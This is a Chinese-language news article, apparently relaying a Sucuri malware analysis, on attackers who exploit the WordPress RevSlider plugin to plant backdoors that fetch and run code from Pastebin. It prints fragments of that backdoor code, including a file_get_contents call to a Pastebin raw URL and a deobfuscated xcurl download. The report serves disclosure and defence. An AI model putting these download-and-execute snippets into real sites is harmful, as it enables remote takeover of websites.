- A+
Sucuri公司近日发表了
恶意软件高级研究员Denis Sinegubko在博客中写道：
攻击者通过扫描目标网站来寻找含有漏洞的RevSlider插件。一旦发现，他们会利用RevSlider的另一个漏洞将后门代码上传到该网站。
$content = file_get_contents("http://pastebin.com/raw.php?i=JK5r7NyS");
if($content){unlink('evex.php');
$fh2 = fopen("evex.php",'a');
fwrite($fh2,$content);
fclose($fh2);
}}else{print "test";}
这是一份稍微复杂点的后门样本，是通过RevSlider漏洞上传的：
从截图中你可以看到这段代码将一段经过Base64编码的内容注入WordPress核心文件wp-links-opml.php中的$temp变量。以下是经过解密的$temp内容：
你可以看到它从Pastebin下载代码并立即执行。但这次只有当攻击者提供wp_nonce_once中的请求参数，也就是Pastebin的文章ID时才会运行。wp_nonce_once参数的使用使得管理员难以追踪恶意代码的具体地址（防止了网址被屏蔽），同时又增加了后门的灵活性———这样它就能够下载执行任何Pastebin上的代码——哪怕是那些一开始不存在的代码————只需要向wp-links-opml.php提供ID就行了。
印度尼西亚黑客们有一款编码器与Pastebin配合默契。名字叫做PHPEncryptorbyYogyakartaBlackHat 或者是 byFathurFreakz。在Pastebin.com网站上粘帖创建PHP代码，软件就会加密那个Pastebin网址，生成混淆后的代码：
解密后：
xcurl('http://pastebin.com/download.php?i='.code($ct3));
}
FathurFreakz(CODE);
这段代码会下载执行Pastebin上的代码（使用xcurl函数），ID在CODE常量中，并且经过加密。你可以看到另外一种Pastebin网址种类：download.php，基本上它跟raw.php一样，但它提供HTTP头，使得浏览器不会显示内容，而是直接以文件形式下载。
经过解密的代码（看起来他们超爱用Pastebin……）：
黑客在实时攻击的时候大规模利用Pastebin网站，这给网站管理员敲响了警钟，提示他们要时刻维护网站的CMS（内容管理系统）以防止插件被恶意利用。
就在几周前，
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-
